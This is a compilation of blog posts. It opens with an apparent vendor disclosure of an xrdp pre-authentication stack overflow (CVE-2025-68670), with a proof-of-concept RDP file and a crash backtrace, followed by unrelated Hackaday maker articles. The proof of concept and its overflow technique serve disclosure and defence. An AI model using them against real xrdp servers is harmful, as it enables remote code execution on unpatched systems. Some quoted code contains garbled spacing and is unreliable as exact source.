In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.

We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.

Client data transmission via RDP

Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;

// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}

while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}

v n -= u8len;
v += u8len;
}

else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}

r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.

CVE-2025-68670: an RCE vulnerability in xrdp

The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];

/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).

To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.

PoC

As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()

Protection against vulnerability exploitation

It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

Vulnerability remediation timeline

• 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
• 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
• 12/15/2025: investigation and prioritization of the vulnerability began.
• 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
• 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
• 01/27/2026: the patch was merged into the project’s main branch.

Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

securelist.com/cve-2025-68670/…

[Aaed Musa] has been building robot dogs for a long time now, so it was only natural that he would make one for the senior design project of his mechanical engineering degree. Since this meant working with potential customers, the requirements were somewhat more stringent than for previous dogs, but [Aaed] and his team were able to deliver CARA 2.0, their most agile, versatile robot yet.

Based on conversations with potential customers, [Aaed] and his team aimed for a price around $1,000 USD, a weight under 20 pounds, and a durable design. Like the original CARA, this used capstan drives to actuate the joints, which reduced costs. The drives were printed in resin and powered by brushless drone motors. These motors were designed for speed, not torque, so the team had to rewind them with more wire, an ordeal which paid off by roughly tripling the torque. As far as durability, one joint motor was tested by running it continuously back and forth, and it lasted for over 1,000 hours without obvious damage.

Since the joints don’t contain any absolute encoders, each motor has to home on startup by extending to its limit, as detected by a rise in motor current. As a happy side effect, this creates a lifelike stretching motion on startup. Compared to the earlier iteration, CARA 2.0 takes shorter, quicker steps, and thanks to angled step movements can turn much more quickly. In testing, it originally skewed to the left, which turned out to be due to an asymmetric leg design. Once corrected, CARA 2.0 could walk in straight lines, walk sideways, turn in place, crouch, jump, and keep its balance on an inclined surface. It didn’t quite make the price goal, but $1,450 is still cheap for such a capable robot dog, and it reached every other customer requirement. Most importantly, all the team graduated.

For another take on a capstan-powered robot dog, check out Stanley. We’ve also taken a look at TOPS, one of [Aaed]’s earlier designs.

youtube.com/embed/GFLa1b1juUo?…

hackaday.com/2026/05/08/an-imp…

Before the advent of electricity in the home made electrically-heated clothes irons a possibility, ironing was a cumbersome process, with self-heated irons being an arguable improvement over solid (so-called sad) irons that required heating in an external heat source like a stove or fire. These self-heating irons used a variety of fuels, with the one featured on the [Our Own Devices] YouTube channel using gasoline for fuel, making it technically a gasoline-powered clothes iron.

The used gasoline form is LSR, which is commonly referred to as naphtha and is also sold as camping fuel today. In addition to the gasoline version a kerosene-powered version was also sold, so you had to better make sure you refueled your iron with the right fuel.

After pouring in fresh fuel you have to prime it by pushing the plunger a couple of times, before igniting the burner with a lit match via a hole in the side while opening the fuel valve. If you did things right, the iron will now be heating up. In a sense this makes it effectively like a camping stove, with also many of the same caveats, with such irons gaining a reputation for starting fires and causing bodily harm.

Due to decaying seals this iron in the video wasn’t fired up, but it was disassembled to show the internal components, along with a comparison of the kerosene version. Inside is a kind of crude carburetor that mixes air in with the fuel to get a combustible fuel-air mix, along with plenty of soot to attest to this iron having been regularly used.

Although electrical irons eventually removed all need for gasoline-powered irons, they were still used in mostly rural settings until the 1950s. Reading the Wikipedia entry on clothes irons makes one rather glad that these days we can iron our clothes without all the fuss and significant risk of accidents of these old irons.

youtube.com/embed/wIdLUm-VzEk?…

hackaday.com/2026/05/07/the-mo…

Reading a book about bowling is not the same as actually bowling. If that resonates with you and you want to learn more about large language models, check out the LLM From Scratch project. The hands-on workshop lets you use a Mac, Linux, or Windows PC running Python and common libraries like numpy and torch to build your own bare-bones LLM.

The project takes inspiration from nanoGPT but scales it down so you can train the model in around an hour on a typical computer. It will use an Apple or NVIDIA GPU, if available.

There are six parts to the workshop: the tokenizer, the transformer, the training loop, text generation, and then wrap-up parts where you train the model and find the best AI poet.

In addition, the references section has a number of interesting papers, including some you’ve probably seen before and some that you may have missed.

We like learning things from first principles when possible. If you aren’t keen on Python, you can also build your own LLM in a spreadsheet.

hackaday.com/2026/05/07/an-llm…

Screws are useful fasteners for 3D prints, but the effectiveness of a screw (not to mention the ease or hassle of insertion) depends on the hole itself. This comprehensive guide on how to design screw holes in 3D printed parts takes guesswork out by providing reference tables as well as useful general tips.

The guide provides handy tables saying exactly how big to design a hole depending on screw type, material (PLA, PETG, or high-flow PETG) and whether the hole is printed in a vertical or horizontal orientation. This takes the guesswork out of screw hole design.
There’s no reason to guess the right size of hole for a screw, just refer to some handy tables.
The reason for different numbers is because multiple (but predictable) variables affect a 3D-printed hole’s final dimensions. Shrinkage, filament properties, and printing orientation can all measurably affect small features like screw holes; accounting for these is the difference between a good fit, and cracking or stripping.

In addition to the tables, there are loads of other useful tips. Designing lead-ins makes screws easier to insert and engage, and while increasing walls is an easy way to add strength it’s also possible to use 3D-printed microfeatures which are more resistant to distortion and don’t depend on slicer settings. There’s even suggested torque amounts for different screw and material types.

Sure, the most reliable way to get a hole of a known size is to drill it out yourself. But that’s an extra step, and drill bits aren’t always at hand in the desired sizes. The guide shows that it is entirely possible to print an ideal screw hole by taking a few variables into account.

If your design calls for screws, be sure to check it out and see if there’s anything you can use in your own designs.

hackaday.com/2026/05/07/how-to…

The age of steam is long gone, but there are few railfans who don’t have a soft spot for the old rolling kettles. So you’d best believe when [AeroKoi] talks about 3D printed train whistles, that’s steam whistles. Generally speaking, Diesels have horns.

You would not expect printed plastic to hold up to live steam– but that’s why [AeroKoi] uses compressed air. Besides, it’s a lot easier to both justify and maintain an air compressor than a boiler in the shop. At least some hobbyists say it doesn’t make a huge difference with brass whistles, so it should be good enough for plastic. What’s interesting is that even with 120 PSI blasting through them, these multi-part prints held together and sounded amazing.

[AeroKoi] does demonstrate there was a learning curve to climb before he had a good whistle design, and shows you what features worked best. He shared two successes on Thingiverse: A 6-Chime whistle from the Sante Fe Railroad, and a Northern Pacific 5-chime whistle, both 4″ in diameter and printed in vertically sectioned parts. The Northern Pacific is not to be confused with the totally different Union Pacific Railroad, whose famous “Big Boy” also had a whistle feature in the video — though evidently he’s not as happy with it, since he did not share the design.

Those are all North American designs, but there’s no reason this technique wouldn’t work to replicate a more European sound; one of his early experiments was kind of going in that direction already. Of course if you want a perfect replica, the old ways are the best ways: cast brass and live steam. We’ve had a few articles about train whistles in the past, one of which was a doorbell.

youtube.com/embed/dCrrUUhSmH0?…

hackaday.com/2026/05/07/3d-pri…

If you talk to the FDA, there’s only one permanent method of hair removal—electrolysis. This involves sticking a needle into a hair follicle, getting it very hot or running a current through it, and then letting heat and/or the lye generated kill the root of the hair dead. Normally, you’d pay someone with a commercial machine to do this for you at great expense. Or, you could do it yourself with a home-built machine, as [n3tcat] did.

Based on the available information out in the wild, [n3tcat] decided to build a galvanic electrolysis machine. This specifically passes current through a needle in the hair follicle to generate lye at the hair bulb, which kills it. The amount of lye generated depends on the amount of current and the time over which it is applied. More lye is more likely to kill a follicle permanently, though there are limits with regards to avoiding scarring, other skin damage, and excessive pain.

[n3tcat]’s guide explains the basic theory behind galvanic electrolysis, as well as how the rig was built. An early attempt simply involved hooking up a 12-volt car battery to a standard electrolysis needle, sticking it in a hair, with the other electrode being an aluminium can held by the person being treated. The fun thing was that this allowed varying the current depending on how much contact and how stiffly the person grabbed the can.

After a few successful hair removals this way, [n3tcat] decided to build a better rig. An RP2040 microcontroller was enlisted to run the show, powered by a 3.7-volt lithium rechargeable battery. An OLED screen and a rotary encoder were selected to serve as the interface, while a foot pedal was added for firing off current. A boost converter was used to push the battery voltage up to the vicinity of 15 volts for delivery to the needle, set up to avoid excessive current delivery for safety. A DAC was paired with an LM358 op-amp feeding into a MOSFET to control the current passed to the needle for accurate, controlled treatment, with the RP2040 monitoring the current level via a dedicated ADC. The needle itself got a D-printed pen-like handle for better ergonomics, easing the process of slotting the needle into a hair follicle. Everything was then assembled on a cute PCB, and wrapped up in a nice 3D printed housing. The files are available for the curious.

Electrolysis is a process that can cost many thousands of dollars depending on how much hair you hope to remove. Thus, it’s easy to see the appeal in having a rig that lets you do it at home. It’s just one of those things where you have to take the proper precautions to ensure you’re not unduly hurting yourself. Stay safe out there, hackers!

hackaday.com/2026/05/07/diy-el…

For this challenge, we asked you to show off your hacks that power themselves sustainably from the environment around them. After all, nobody likes wires, and changing batteries is just a hassle. What’s better than an autonomous gizmo? Nothing.

Because this is Hackaday, we expected to see some finished-looking projects, some absolutely zany concepts, and basically everything in-between, and you did not disappoint! So without further ado, let’s have a look at the 2026 Green Powered Challenge winners, each of whom will be going on a $150 shopping spree at DigiKey, our contest’s sponsor.

LightInk Solar Watch

LightInk is a beautiful wristwatch, and e-ink is a natural companion to the small power budget that you get with a wrist-mounted solar panel. But don’t be fooled by its good looks! The real beauty of this hack is the way that [Daniel Ansorregui] crammed the screen-updating routine into the wakeup stub in the RTC peripheral. This means that the ESP32 doesn’t have to access the SPI flash every time it wakes up, saving precious milliseconds of wake time, and cutting average power in half. This is a trick you’ll want to know even if you don’t need a sexy e-ink wristwatch. (Which you do.)

Supercapacitor Solar IoT

[Nelectra]’s “Heliotrax” solar supercapacitor charger stores up the sun’s power in low-maintenance supercapacitors until it’s time to wake up your device. But supercaps have an output voltage that depends dramatically on their state of charge, so [Nelectra] added a high-efficiency and low-leakage boost converter to get a nice constant voltage out. Depending on your current needs, it can charge up in the sun and run for a few dark days without any problems. It’s a one-stop shop for solar-powered IoT devices, and it should make a whole range of projects easier to realize.

powerTimer

[Juan Flores]’s powerTimer is another module that enables your small off-grid hacks. In this case, it’s a simple latching electronic switch, designed for ultra-low quiescent power. Maybe your project has a microcontroller with a good sleep mode, but the peripherals are leaky hogs? Put the powerTimer in the middle and get your whole system’s power budget down without much extra thought. And if you don’t want to wake the microcontroller, it’s got a low-power RTC on board that can handle periodic wakeups. It’s a sweet, simple design that solves a real problem, and our judges loved that.

Honorable Mentions

• Solar: We knew there would be some great solar-powered projects here, and [Jake Wachlin]’s Ultra Low Power Feather Development Board is a great example. He pairs a low-power accelerometer and barometer with a power-sipping microcontroller to almost achieve ambient-room-lighting capability. [Jake] says you have to put it directly under a light, or in indirect sunlight. But if you have full sun at your disposal, [Arnov Sharma]’s SolMate is a lovely DIY solar power bank that we’d love to bring to the park with us.
• Anything But PV: OK, enough solar. [Ethan]’s Gravity-Powered Digital Clock is exactly the sort of out-of-the-box idea we were hoping to see. He pairs a Casio F91W with an insane gear train, a homebrew electrical generator, and a dumbbell to gather up all of the gravity that makes it work. Or should do so. The gear train ended up having so many stages that it wouldn’t turn under its own magnified friction, and the project doesn’t quite spin. But we love the idea of a wind-up electrical clock, and we hope [Ethan] doesn’t give up!
• Least Power: [caspar]’s Harvesting NFC Energy to Transmit Commands includes a stock Pi Pico dev board and some AA batteries, so you might be thinking “where is the low power element?” It’s the NFC wakeup circuit that reads in some data and writes it directly to the Pico’s EEPROM, before it wakes the chip up, which then reads the command out of EEPROM and does whatever it does under normal battery power, and then shuts itself down again. We love the idea of surreptitious NFC-powered data insertion while the microcontroller is still sleeping.
• Most Power: We initially expected this honorable mention to go to an over-sized solar install, but in the end [alnwlsn]’s Practical Power Cycling won over our judges with an unbeatable display of human determination: over five years, [alnwlsn] has generated 38 kWh on his generator bike, has powered a 3D printer through a Benchy, and even toasted a piece of toast. Maybe the real power here is the human spirit? Check out [alnwlsn]’s great build logs and diary.

Thanks to All!

Much thanks to everyone who entered into this challenge. We had more great entries than we have space to feature, so be sure to check them all out on Hackaday.io. And of course, thanks again to DigiKey for sponsoring the contest, and for providing our three finalists with the parts they need!

A pinhole camera is almost a rite of passage in photography, given that you can make one so easily with little more than a cardboard box and enough tape to keep the light from coming through the cracks. [Socialmocracy] has made one that’s 3D printed, and it’s a nice design that takes 4″ by 5″ photographic paper. The shutter is held on with magnets, and the lid is attached with thumbscrews.

As neat as printed pinhole cameras are, it’s not as though they’re particularly uncommon. What makes this one stand out from the rest is that it’s actually two cameras in one. One box, two cameras, side by side. Landscape format and it’s a pair of panoramic cameras, while in portrait mode it’s a stereo camera. Even the simplest of cameras can do wigglegrams!

We like this camera, because it manages to add something to such a simple formula.. He’s taking comments on whether to release the STLs, so drop in your two cents.

youtube.com/embed/lxrJJpE4Zws?…

hackaday.com/2026/05/07/wiggle…